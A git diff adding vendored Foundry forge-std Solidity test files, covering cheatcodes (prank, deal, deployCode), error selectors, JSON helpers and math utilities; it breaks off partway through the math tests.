+        vm.startPrank(address(1337));
+        test.bar(address(1337));
+        changePrank(address(0xdead));
+        test.bar(address(0xdead));
+        changePrank(address(1337));
+        test.bar(address(1337));
+        vm.stopPrank();
+    }
+
+    function test_ChangePrankMsgSenderAndTxOrigin() public {
+        vm.startPrank(address(1337), address(1338));
+        test.origin(address(1337), address(1338));
+        changePrank(address(0xdead), address(0xbeef));
+        test.origin(address(0xdead), address(0xbeef));
+        changePrank(address(1337), address(1338));
+        test.origin(address(1337), address(1338));
+        vm.stopPrank();
+    }
+
+    function test_MakeAccountEquivalence() public {
+        Account memory account = makeAccount('1337');
+        (address addr, uint256 key) = makeAddrAndKey('1337');
+        assertEq(account.addr, addr);
+        assertEq(account.key, key);
+    }
+
+    function test_MakeAddrEquivalence() public {
+        (address addr, ) = makeAddrAndKey('1337');
+        assertEq(makeAddr('1337'), addr);
+    }
+
+    function test_MakeAddrSigning() public {
+        (address addr, uint256 key) = makeAddrAndKey('1337');
+        bytes32 hash = keccak256('some_message');
+
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(key, hash);
+        assertEq(ecrecover(hash, v, r, s), addr);
+    }
+
+    function test_Deal() public {
+        deal(address(this), 1 ether);
+        assertEq(address(this).balance, 1 ether);
+    }
+
+    function test_DealToken() public {
+        Bar barToken = new Bar();
+        address bar = address(barToken);
+        deal(bar, address(this), 10000e18);
+        assertEq(barToken.balanceOf(address(this)), 10000e18);
+    }
+
+    function test_DealTokenAdjustTotalSupply() public {
+        Bar barToken = new Bar();
+        address bar = address(barToken);
+        deal(bar, address(this), 10000e18, true);
+        assertEq(barToken.balanceOf(address(this)), 10000e18);
+        assertEq(barToken.totalSupply(), 20000e18);
+        deal(bar, address(this), 0, true);
+        assertEq(barToken.balanceOf(address(this)), 0);
+        assertEq(barToken.totalSupply(), 10000e18);
+    }
+
+    function test_DealERC1155Token() public {
+        BarERC1155 barToken = new BarERC1155();
+        address bar = address(barToken);
+        dealERC1155(bar, address(this), 0, 10000e18, false);
+        assertEq(barToken.balanceOf(address(this), 0), 10000e18);
+    }
+
+    function test_DealERC1155TokenAdjustTotalSupply() public {
+        BarERC1155 barToken = new BarERC1155();
+        address bar = address(barToken);
+        dealERC1155(bar, address(this), 0, 10000e18, true);
+        assertEq(barToken.balanceOf(address(this), 0), 10000e18);
+        assertEq(barToken.totalSupply(0), 20000e18);
+        dealERC1155(bar, address(this), 0, 0, true);
+        assertEq(barToken.balanceOf(address(this), 0), 0);
+        assertEq(barToken.totalSupply(0), 10000e18);
+    }
+
+    function test_DealERC721Token() public {
+        BarERC721 barToken = new BarERC721();
+        address bar = address(barToken);
+        dealERC721(bar, address(2), 1);
+        assertEq(barToken.balanceOf(address(2)), 1);
+        assertEq(barToken.balanceOf(address(1)), 0);
+        dealERC721(bar, address(1), 2);
+        assertEq(barToken.balanceOf(address(1)), 1);
+        assertEq(barToken.balanceOf(bar), 1);
+    }
+
+    function test_DeployCode() public {
+        address deployed = deployCode('StdCheats.t.sol:Bar', bytes(''));
+        assertEq(string(getCode(deployed)), string(getCode(address(test))));
+    }
+
+    function test_DestroyAccount() public {
+        // deploy something to destroy it
+        BarERC721 barToken = new BarERC721();
+        address bar = address(barToken);
+        vm.setNonce(bar, 10);
+        deal(bar, 100);
+
+        uint256 prevThisBalance = address(this).balance;
+        uint256 size;
+        assembly {
+            size := extcodesize(bar)
+        }
+
+        assertGt(size, 0);
+        assertEq(bar.balance, 100);
+        assertEq(vm.getNonce(bar), 10);
+
+        destroyAccount(bar, address(this));
+        assembly {
+            size := extcodesize(bar)
+        }
+        assertEq(address(this).balance, prevThisBalance + 100);
+        assertEq(vm.getNonce(bar), 0);
+        assertEq(size, 0);
+        assertEq(bar.balance, 0);
+    }
+
+    function test_DeployCodeNoArgs() public {
+        address deployed = deployCode('StdCheats.t.sol:Bar');
+        assertEq(string(getCode(deployed)), string(getCode(address(test))));
+    }
+
+    function test_DeployCodeVal() public {
+        address deployed = deployCode('StdCheats.t.sol:Bar', bytes(''), 1 ether);
+        assertEq(string(getCode(deployed)), string(getCode(address(test))));
+        assertEq(deployed.balance, 1 ether);
+    }
+
+    function test_DeployCodeValNoArgs() public {
+        address deployed = deployCode('StdCheats.t.sol:Bar', 1 ether);
+        assertEq(string(getCode(deployed)), string(getCode(address(test))));
+        assertEq(deployed.balance, 1 ether);
+    }
+
+    // We need this so we can call "this.deployCode" rather than "deployCode" directly
+    function deployCodeHelper(string memory what) external {
+        deployCode(what);
+    }
+
+    function test_DeployCodeFail() public {
+        vm.expectRevert(bytes('StdCheats deployCode(string): Deployment failed.'));
+        this.deployCodeHelper('StdCheats.t.sol:RevertingContract');
+    }
+
+    function getCode(address who) internal view returns (bytes memory o_code) {
+        /// @solidity memory-safe-assembly
+        assembly {
+            // retrieve the size of the code, this needs assembly
+            let size := extcodesize(who)
+            // allocate output byte array - this could also be done without assembly
+            // by using o_code = new bytes(size)
+            o_code := mload(0x40)
+            // new "memory end" including padding
+            mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
+            // store length in memory
+            mstore(o_code, size)
+            // actually retrieve the code, this needs assembly
+            extcodecopy(who, add(o_code, 0x20), 0, size)
+        }
+    }
+
+    function test_DeriveRememberKey() public {
+        string memory mnemonic = 'test test test test test test test test test test test junk';
+
+        (address deployer, uint256 privateKey) = deriveRememberKey(mnemonic, 0);
+        assertEq(deployer, 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266);
+        assertEq(privateKey, 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80);
+    }
+
+    function test_BytesToUint() public pure {
+        assertEq(3, bytesToUint_test(hex'03'));
+        assertEq(2, bytesToUint_test(hex'02'));
+        assertEq(255, bytesToUint_test(hex'ff'));
+        assertEq(29625, bytesToUint_test(hex'73b9'));
+    }
+
+    function test_ParseJsonTxDetail() public view {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, '/test/fixtures/broadcast.log.json');
+        string memory json = vm.readFile(path);
+        bytes memory transactionDetails = json.parseRaw('.transactions[0].tx');
+        RawTx1559Detail memory rawTxDetail = abi.decode(transactionDetails, (RawTx1559Detail));
+        Tx1559Detail memory txDetail = rawToConvertedEIP1559Detail(rawTxDetail);
+        assertEq(txDetail.from, 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266);
+        assertEq(txDetail.to, 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512);
+        assertEq(
+            txDetail.data,
+            hex'23e99187000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000013370000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000004'
+        );
+        assertEq(txDetail.nonce, 3);
+        assertEq(txDetail.txType, 2);
+        assertEq(txDetail.gas, 29625);
+        assertEq(txDetail.value, 0);
+    }
+
+    function test_ReadEIP1559Transaction() public view {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, '/test/fixtures/broadcast.log.json');
+        uint256 index = 0;
+        Tx1559 memory transaction = readTx1559(path, index);
+        transaction;
+    }
+
+    function test_ReadEIP1559Transactions() public view {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, '/test/fixtures/broadcast.log.json');
+        Tx1559[] memory transactions = readTx1559s(path);
+        transactions;
+    }
+
+    function test_ReadReceipt() public view {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, '/test/fixtures/broadcast.log.json');
+        uint256 index = 5;
+        Receipt memory receipt = readReceipt(path, index);
+        assertEq(
+            receipt.logsBloom,
+            hex'00000000000800000000000000000010000000000000000000000000000180000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100'
+        );
+    }
+
+    function test_ReadReceipts() public view {
+        string memory root = vm.projectRoot();
+        string memory path = string.concat(root, '/test/fixtures/broadcast.log.json');
+        Receipt[] memory receipts = readReceipts(path);
+        receipts;
+    }
+
+    function test_GasMeteringModifier() public {
+        uint256 gas_start_normal = gasleft();
+        addInLoop();
+        uint256 gas_used_normal = gas_start_normal - gasleft();
+
+        uint256 gas_start_single = gasleft();
+        addInLoopNoGas();
+        uint256 gas_used_single = gas_start_single - gasleft();
+
+        uint256 gas_start_double = gasleft();
+        addInLoopNoGasNoGas();
+        uint256 gas_used_double = gas_start_double - gasleft();
+
+        assertTrue(gas_used_double + gas_used_single < gas_used_normal);
+    }
+
+    function addInLoop() internal pure returns (uint256) {
+        uint256 b;
+        for (uint256 i; i < 10000; i++) {
+            b += i;
+        }
+        return b;
+    }
+
+    function addInLoopNoGas() internal noGasMetering returns (uint256) {
+        return addInLoop();
+    }
+
+    function addInLoopNoGasNoGas() internal noGasMetering returns (uint256) {
+        return addInLoopNoGas();
+    }
+
+    function bytesToUint_test(bytes memory b) private pure returns (uint256) {
+        uint256 number;
+        for (uint256 i = 0; i < b.length; i++) {
+            number = number + uint256(uint8(b[i])) * (2 ** (8 * (b.length - (i + 1))));
+        }
+        return number;
+    }
+
+    function testFuzz_AssumeAddressIsNot(address addr) external {
+        // skip over Payable and NonPayable enums
+        for (uint8 i = 2; i < uint8(type(AddressType).max); i++) {
+            assumeAddressIsNot(addr, AddressType(i));
+        }
+        assertTrue(addr != address(0));
+        assertTrue(addr < address(1) || addr > address(9));
+        assertTrue(addr != address(vm) || addr != 0x000000000000000000636F6e736F6c652e6c6f67);
+    }
+
+    function test_AssumePayable() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdCheatsMock stdCheatsMock = new StdCheatsMock();
+
+        // all should revert since these addresses are not payable
+
+        // VM address
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumePayable(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
+
+        // Console address
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumePayable(0x000000000000000000636F6e736F6c652e6c6f67);
+
+        // Create2Deployer
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumePayable(0x4e59b44847b379578588920cA78FbF26c0B4956C);
+
+        // all should pass since these addresses are payable
+
+        // vitalik.eth
+        stdCheatsMock.exposed_assumePayable(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
+
+        // mock payable contract
+        MockContractPayable cp = new MockContractPayable();
+        stdCheatsMock.exposed_assumePayable(address(cp));
+    }
+
+    function test_AssumeNotPayable() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdCheatsMock stdCheatsMock = new StdCheatsMock();
+
+        // all should pass since these addresses are not payable
+
+        // VM address
+        stdCheatsMock.exposed_assumeNotPayable(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
+
+        // Console address
+        stdCheatsMock.exposed_assumeNotPayable(0x000000000000000000636F6e736F6c652e6c6f67);
+
+        // Create2Deployer
+        stdCheatsMock.exposed_assumeNotPayable(0x4e59b44847b379578588920cA78FbF26c0B4956C);
+
+        // all should revert since these addresses are payable
+
+        // vitalik.eth
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumeNotPayable(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
+
+        // mock payable contract
+        MockContractPayable cp = new MockContractPayable();
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumeNotPayable(address(cp));
+    }
+
+    function testFuzz_AssumeNotPrecompile(address addr) external {
+        assumeNotPrecompile(addr, getChain('optimism_sepolia').chainId);
+        assertTrue(
+            addr < address(1) ||
+                (addr > address(9) && addr < address(0x4200000000000000000000000000000000000000)) ||
+                addr > address(0x4200000000000000000000000000000000000800)
+        );
+    }
+
+    function testFuzz_AssumeNotForgeAddress(address addr) external pure {
+        assumeNotForgeAddress(addr);
+        assertTrue(addr != address(vm) && addr != 0x000000000000000000636F6e736F6c652e6c6f67 && addr != 0x4e59b44847b379578588920cA78FbF26c0B4956C);
+    }
+
+    function test_CannotDeployCodeTo() external {
+        vm.expectRevert('StdCheats deployCodeTo(string,bytes,uint256,address): Failed to create runtime bytecode.');
+        this._revertDeployCodeTo();
+    }
+
+    function _revertDeployCodeTo() external {
+        deployCodeTo('StdCheats.t.sol:RevertingContract', address(0));
+    }
+
+    function test_DeployCodeTo() external {
+        address arbitraryAddress = makeAddr('arbitraryAddress');
+
+        deployCodeTo(
+            'StdCheats.t.sol:MockContractWithConstructorArgs',
+            abi.encode(uint256(6), true, bytes20(arbitraryAddress)),
+            1 ether,
+            arbitraryAddress
+        );
+
+        MockContractWithConstructorArgs ct = MockContractWithConstructorArgs(arbitraryAddress);
+
+        assertEq(arbitraryAddress.balance, 1 ether);
+        assertEq(ct.x(), 6);
+        assertTrue(ct.y());
+        assertEq(ct.z(), bytes20(arbitraryAddress));
+    }
+}
+
+contract StdCheatsMock is StdCheats {
+    function exposed_assumePayable(address addr) external {
+        assumePayable(addr);
+    }
+
+    function exposed_assumeNotPayable(address addr) external {
+        assumeNotPayable(addr);
+    }
+
+    // We deploy a mock version so we can properly test expected reverts.
+    function exposed_assumeNotBlacklisted(address token, address addr) external view {
+        return assumeNotBlacklisted(token, addr);
+    }
+}
+
+contract StdCheatsForkTest is Test {
+    address internal constant SHIB = 0x95aD61b0a150d79219dCF64E1E6Cc01f0B64C4cE;
+    address internal constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
+    address internal constant USDC_BLACKLISTED_USER = 0x1E34A77868E19A6647b1f2F47B51ed72dEDE95DD;
+    address internal constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
+    address internal constant USDT_BLACKLISTED_USER = 0x8f8a8F4B54a2aAC7799d7bc81368aC27b852822A;
+
+    function setUp() public {
+        // All tests of the `assumeNotBlacklisted` method are fork tests using live contracts.
+        vm.createSelectFork({urlOrAlias: 'mainnet', blockNumber: 16_428_900});
+    }
+
+    function test_CannotAssumeNoBlacklisted_EOA() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdCheatsMock stdCheatsMock = new StdCheatsMock();
+        address eoa = vm.addr({privateKey: 1});
+        vm.expectRevert('StdCheats assumeNotBlacklisted(address,address): Token address is not a contract.');
+        stdCheatsMock.exposed_assumeNotBlacklisted(eoa, address(0));
+    }
+
+    function testFuzz_AssumeNotBlacklisted_TokenWithoutBlacklist(address addr) external view {
+        assumeNotBlacklisted(SHIB, addr);
+        assertTrue(true);
+    }
+
+    function test_AssumeNoBlacklisted_USDC() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdCheatsMock stdCheatsMock = new StdCheatsMock();
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumeNotBlacklisted(USDC, USDC_BLACKLISTED_USER);
+    }
+
+    function testFuzz_AssumeNotBlacklisted_USDC(address addr) external view {
+        assumeNotBlacklisted(USDC, addr);
+        assertFalse(USDCLike(USDC).isBlacklisted(addr));
+    }
+
+    function test_AssumeNoBlacklisted_USDT() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdCheatsMock stdCheatsMock = new StdCheatsMock();
+        vm.expectRevert();
+        stdCheatsMock.exposed_assumeNotBlacklisted(USDT, USDT_BLACKLISTED_USER);
+    }
+
+    function testFuzz_AssumeNotBlacklisted_USDT(address addr) external view {
+        assumeNotBlacklisted(USDT, addr);
+        assertFalse(USDTLike(USDT).isBlackListed(addr));
+    }
+
+    function test_dealUSDC() external {
+        // roll fork to the point when USDC contract updated to store balance in packed slots
+        vm.rollFork(19279215);
+
+        uint256 balance = 100e6;
+        deal(USDC, address(this), balance);
+        assertEq(IERC20(USDC).balanceOf(address(this)), balance);
+    }
+}
+
+contract Bar {
+    constructor() payable {
+        /// `DEAL` STDCHEAT
+        totalSupply = 10000e18;
+        balanceOf[address(this)] = totalSupply;
+    }
+
+    /// `HOAX` and `CHANGEPRANK` STDCHEATS
+    function bar(address expectedSender) public payable {
+        require(msg.sender == expectedSender, '!prank');
+    }
+
+    function origin(address expectedSender) public payable {
+        require(msg.sender == expectedSender, '!prank');
+        require(tx.origin == expectedSender, '!prank');
+    }
+
+    function origin(address expectedSender, address expectedOrigin) public payable {
+        require(msg.sender == expectedSender, '!prank');
+        require(tx.origin == expectedOrigin, '!prank');
+    }
+
+    /// `DEAL` STDCHEAT
+    mapping(address => uint256) public balanceOf;
+    uint256 public totalSupply;
+}
+
+contract BarERC1155 {
+    constructor() payable {
+        /// `DEALERC1155` STDCHEAT
+        _totalSupply[0] = 10000e18;
+        _balances[0][address(this)] = _totalSupply[0];
+    }
+
+    function balanceOf(address account, uint256 id) public view virtual returns (uint256) {
+        return _balances[id][account];
+    }
+
+    function totalSupply(uint256 id) public view virtual returns (uint256) {
+        return _totalSupply[id];
+    }
+
+    /// `DEALERC1155` STDCHEAT
+    mapping(uint256 => mapping(address => uint256)) private _balances;
+    mapping(uint256 => uint256) private _totalSupply;
+}
+
+contract BarERC721 {
+    constructor() payable {
+        /// `DEALERC721` STDCHEAT
+        _owners[1] = address(1);
+        _balances[address(1)] = 1;
+        _owners[2] = address(this);
+        _owners[3] = address(this);
+        _balances[address(this)] = 2;
+    }
+
+    function balanceOf(address owner) public view virtual returns (uint256) {
+        return _balances[owner];
+    }
+
+    function ownerOf(uint256 tokenId) public view virtual returns (address) {
+        address owner = _owners[tokenId];
+        return owner;
+    }
+
+    mapping(uint256 => address) private _owners;
+    mapping(address => uint256) private _balances;
+}
+
+interface USDCLike {
+    function isBlacklisted(address) external view returns (bool);
+}
+
+interface USDTLike {
+    function isBlackListed(address) external view returns (bool);
+}
+
+contract RevertingContract {
+    constructor() {
+        revert();
+    }
+}
+
+contract MockContractWithConstructorArgs {
+    uint256 public immutable x;
+    bool public y;
+    bytes20 public z;
+
+    constructor(uint256 _x, bool _y, bytes20 _z) payable {
+        x = _x;
+        y = _y;
+        z = _z;
+    }
+}
+
+contract MockContractPayable {
+    receive() external payable {}
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/StdError.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/StdError.t.sol
new file mode 100644
index 000000000..e88deacbc
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/StdError.t.sol
@@ -0,0 +1,120 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.8.0 <0.9.0;
+
+import '../src/StdError.sol';
+import '../src/Test.sol';
+
+contract StdErrorsTest is Test {
+    ErrorsTest test;
+
+    function setUp() public {
+        test = new ErrorsTest();
+    }
+
+    function test_ExpectAssertion() public {
+        vm.expectRevert(stdError.assertionError);
+        test.assertionError();
+    }
+
+    function test_ExpectArithmetic() public {
+        vm.expectRevert(stdError.arithmeticError);
+        test.arithmeticError(10);
+    }
+
+    function test_ExpectDiv() public {
+        vm.expectRevert(stdError.divisionError);
+        test.divError(0);
+    }
+
+    function test_ExpectMod() public {
+        vm.expectRevert(stdError.divisionError);
+        test.modError(0);
+    }
+
+    function test_ExpectEnum() public {
+        vm.expectRevert(stdError.enumConversionError);
+        test.enumConversion(1);
+    }
+
+    function test_ExpectEncodeStg() public {
+        vm.expectRevert(stdError.encodeStorageError);
+        test.encodeStgError();
+    }
+
+    function test_ExpectPop() public {
+        vm.expectRevert(stdError.popError);
+        test.pop();
+    }
+
+    function test_ExpectOOB() public {
+        vm.expectRevert(stdError.indexOOBError);
+        test.indexOOBError(1);
+    }
+
+    function test_ExpectMem() public {
+        vm.expectRevert(stdError.memOverflowError);
+        test.mem();
+    }
+
+    function test_ExpectIntern() public {
+        vm.expectRevert(stdError.zeroVarError);
+        test.intern();
+    }
+}
+
+contract ErrorsTest {
+    enum T {
+        T1
+    }
+
+    uint256[] public someArr;
+    bytes someBytes;
+
+    function assertionError() public pure {
+        assert(false);
+    }
+
+    function arithmeticError(uint256 a) public pure {
+        a -= 100;
+    }
+
+    function divError(uint256 a) public pure {
+        100 / a;
+    }
+
+    function modError(uint256 a) public pure {
+        100 % a;
+    }
+
+    function enumConversion(uint256 a) public pure {
+        T(a);
+    }
+
+    function encodeStgError() public {
+        /// @solidity memory-safe-assembly
+        assembly {
+            sstore(someBytes.slot, 1)
+        }
+        keccak256(someBytes);
+    }
+
+    function pop() public {
+        someArr.pop();
+    }
+
+    function indexOOBError(uint256 a) public pure {
+        uint256[] memory t = new uint256[](0);
+        t[a];
+    }
+
+    function mem() public pure {
+        uint256 l = 2 ** 256 / 32;
+        new uint256[](l);
+    }
+
+    function intern() public returns (uint256) {
+        function(uint256) internal returns (uint256) x;
+        x(2);
+        return 7;
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/StdJson.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/StdJson.t.sol
new file mode 100644
index 000000000..7535514c4
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/StdJson.t.sol
@@ -0,0 +1,49 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.7.0 <0.9.0;
+
+import '../src/Test.sol';
+
+contract StdJsonTest is Test {
+    using stdJson for string;
+
+    string root;
+    string path;
+
+    function setUp() public {
+        root = vm.projectRoot();
+        path = string.concat(root, '/test/fixtures/test.json');
+    }
+
+    struct SimpleJson {
+        uint256 a;
+        string b;
+    }
+
+    struct NestedJson {
+        uint256 a;
+        string b;
+        SimpleJson c;
+    }
+
+    function test_readJson() public view {
+        string memory json = vm.readFile(path);
+        assertEq(json.readUint('.a'), 123);
+    }
+
+    function test_writeJson() public {
+        string memory json = 'json';
+        json.serialize('a', uint256(123));
+        string memory semiFinal = json.serialize('b', string('test'));
+        string memory finalJson = json.serialize('c', semiFinal);
+        finalJson.write(path);
+
+        string memory json_ = vm.readFile(path);
+        bytes memory data = json_.parseRaw('$');
+        NestedJson memory decodedData = abi.decode(data, (NestedJson));
+
+        assertEq(decodedData.a, 123);
+        assertEq(decodedData.b, 'test');
+        assertEq(decodedData.c.a, 123);
+        assertEq(decodedData.c.b, 'test');
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/test/StdMath.t.sol b/basic/41-foundry/my_project/lib/forge-std/test/StdMath.t.sol
new file mode 100644
index 000000000..63b482b17
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/test/StdMath.t.sol
@@ -0,0 +1,212 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.8.0 <0.9.0;
+
+import '../src/StdMath.sol';
+import '../src/Test.sol';
+
+contract StdMathMock is Test {
+    function exposed_percentDelta(uint256 a, uint256 b) public pure returns (uint256) {
+        return stdMath.percentDelta(a, b);
+    }
+
+    function exposed_percentDelta(int256 a, int256 b) public pure returns (uint256) {
+        return stdMath.percentDelta(a, b);
+    }
+}
+
+contract StdMathTest is Test {
+    function test_GetAbs() external pure {
+        assertEq(stdMath.abs(-50), 50);
+        assertEq(stdMath.abs(50), 50);
+        assertEq(stdMath.abs(-1337), 1337);
+        assertEq(stdMath.abs(0), 0);
+
+        assertEq(stdMath.abs(type(int256).min), (type(uint256).max >> 1) + 1);
+        assertEq(stdMath.abs(type(int256).max), (type(uint256).max >> 1));
+    }
+
+    function testFuzz_GetAbs(int256 a) external pure {
+        uint256 manualAbs = getAbs(a);
+
+        uint256 abs = stdMath.abs(a);
+
+        assertEq(abs, manualAbs);
+    }
+
+    function test_GetDelta_Uint() external pure {
+        assertEq(stdMath.delta(uint256(0), uint256(0)), 0);
+        assertEq(stdMath.delta(uint256(0), uint256(1337)), 1337);
+        assertEq(stdMath.delta(uint256(0), type(uint64).max), type(uint64).max);
+        assertEq(stdMath.delta(uint256(0), type(uint128).max), type(uint128).max);
+        assertEq(stdMath.delta(uint256(0), type(uint256).max), type(uint256).max);
+
+        assertEq(stdMath.delta(0, uint256(0)), 0);
+        assertEq(stdMath.delta(1337, uint256(0)), 1337);
+        assertEq(stdMath.delta(type(uint64).max, uint256(0)), type(uint64).max);
+        assertEq(stdMath.delta(type(uint128).max, uint256(0)), type(uint128).max);
+        assertEq(stdMath.delta(type(uint256).max, uint256(0)), type(uint256).max);
+
+        assertEq(stdMath.delta(1337, uint256(1337)), 0);
+        assertEq(stdMath.delta(type(uint256).max, type(uint256).max), 0);
+        assertEq(stdMath.delta(5000, uint256(1250)), 3750);
+    }
+
+    function testFuzz_GetDelta_Uint(uint256 a, uint256 b) external pure {
+        uint256 manualDelta;
+        if (a > b) {
+            manualDelta = a - b;
+        } else {
+            manualDelta = b - a;
+        }
+
+        uint256 delta = stdMath.delta(a, b);
+
+        assertEq(delta, manualDelta);
+    }
+
+    function test_GetDelta_Int() external pure {
+        assertEq(stdMath.delta(int256(0), int256(0)), 0);
+        assertEq(stdMath.delta(int256(0), int256(1337)), 1337);
+        assertEq(stdMath.delta(int256(0), type(int64).max), type(uint64).max >> 1);
+        assertEq(stdMath.delta(int256(0), type(int128).max), type(uint128).max >> 1);
+        assertEq(stdMath.delta(int256(0), type(int256).max), type(uint256).max >> 1);
+
+        assertEq(stdMath.delta(0, int256(0)), 0);
+        assertEq(stdMath.delta(1337, int256(0)), 1337);
+        assertEq(stdMath.delta(type(int64).max, int256(0)), type(uint64).max >> 1);
+        assertEq(stdMath.delta(type(int128).max, int256(0)), type(uint128).max >> 1);
+        assertEq(stdMath.delta(type(int256).max, int256(0)), type(uint256).max >> 1);
+
+        assertEq(stdMath.delta(-0, int256(0)), 0);
+        assertEq(stdMath.delta(-1337, int256(0)), 1337);
+        assertEq(stdMath.delta(type(int64).min, int256(0)), (type(uint64).max >> 1) + 1);
+        assertEq(stdMath.delta(type(int128).min, int256(0)), (type(uint128).max >> 1) + 1);
+        assertEq(stdMath.delta(type(int256).min, int256(0)), (type(uint256).max >> 1) + 1);
+
+        assertEq(stdMath.delta(int256(0), -0), 0);
+        assertEq(stdMath.delta(int256(0), -1337), 1337);
+        assertEq(stdMath.delta(int256(0), type(int64).min), (type(uint64).max >> 1) + 1);
+        assertEq(stdMath.delta(int256(0), type(int128).min), (type(uint128).max >> 1) + 1);
+        assertEq(stdMath.delta(int256(0), type(int256).min), (type(uint256).max >> 1) + 1);
+
+        assertEq(stdMath.delta(1337, int256(1337)), 0);
+        assertEq(stdMath.delta(type(int256).max, type(int256).max), 0);
+        assertEq(stdMath.delta(type(int256).min, type(int256).min), 0);
+        assertEq(stdMath.delta(type(int256).min, type(int256).max), type(uint256).max);
+        assertEq(stdMath.delta(5000, int256(1250)), 3750);
+    }
+
+    function testFuzz_GetDelta_Int(int256 a, int256 b) external pure {
+        uint256 absA = getAbs(a);
+        uint256 absB = getAbs(b);
+        uint256 absDelta = absA > absB ? absA - absB : absB - absA;
+
+        uint256 manualDelta;
+        if ((a >= 0 && b >= 0) || (a < 0 && b < 0)) {
+            manualDelta = absDelta;
+        }
+        // (a < 0 && b >= 0) || (a >= 0 && b < 0)
+        else {
+            manualDelta = absA + absB;
+        }
+
+        uint256 delta = stdMath.delta(a, b);
+
+        assertEq(delta, manualDelta);
+    }
+
+    function test_GetPercentDelta_Uint() external {
+        StdMathMock stdMathMock = new StdMathMock();
+
+        assertEq(stdMath.percentDelta(uint256(0), uint256(1337)), 1e18);
+        assertEq(stdMath.percentDelta(uint256(0), type(uint64).max), 1e18);
+        assertEq(stdMath.percentDelta(uint256(0), type(uint128).max), 1e18);
+        assertEq(stdMath.percentDelta(uint256(0), type(uint192).max), 1e18);
+
+        assertEq(stdMath.percentDelta(1337, uint256(1337)), 0);
+        assertEq(stdMath.percentDelta(type(uint192).max, type(uint192).max), 0);
+        assertEq(stdMath.percentDelta(0, uint256(2500)), 1e18);
+        assertEq(stdMath.percentDelta(2500, uint256(2500)), 0);
+        assertEq(stdMath.percentDelta(5000, uint256(2500)), 1e18);
+        assertEq(stdMath.percentDelta(7500, uint256(2500)), 2e18);
+
+        vm.expectRevert(stdError.divisionError);
+        stdMathMock.exposed_percentDelta(uint256(1), 0);
+    }
+
+    function testFuzz_GetPercentDelta_Uint(uint192 a, uint192 b) external pure {
+        vm.assume(b != 0);
+        uint256 manualDelta;
+        if (a > b) {
+            manualDelta = a - b;
+        } else {
+            manualDelta = b - a;
+        }
+
+        uint256 manualPercentDelta = (manualDelta * 1e18) / b;
+        uint256 percentDelta = stdMath.percentDelta(a, b);
+
+        assertEq(percentDelta, manualPercentDelta);
+    }
+
+    function test_GetPercentDelta_Int() external {
+        // We deploy a mock version so we can properly test the revert.
+        StdMathMock stdMathMock = new StdMathMock();
+
+        assertEq(stdMath.percentDelta(int256(0), int256(1337)), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), -1337), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int64).min), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int128).min), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int192).min), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int64).max), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int128).max), 1e18);
+        assertEq(stdMath.percentDelta(int256(0), type(int192).max), 1e18);
+
+        assertEq(stdMath.percentDelta(1337, int256(1337)), 0);
+        assertEq(stdMath.percentDelta(type(int192).max, type(int192).max), 0);
+        assertEq(stdMath.percentDelta(type(int192).min, type(int192).min), 0);
+
+        assertEq(stdMath.percentDelta(type(int192).min, type(int192).max), 2e18); // rounds the 1 wei diff down
+        assertEq(stdMath.percentDelta(type(int192).max, type(int192).min), 2e18 - 1); // rounds the 1 wei diff down
+        assertEq(stdMath.percentDelta(0, int256(2500)), 1e18);
+        assertEq(stdMath.percentDelta(2500, int256(2500)), 0);
+        assertEq(stdMath.percentDelta(5000, int256(2500)), 1e18);
+        assertEq(stdMath.percentDelta(7500, int256(2500)), 2e18);
+
+        vm.expectRevert(stdError.divisionError);
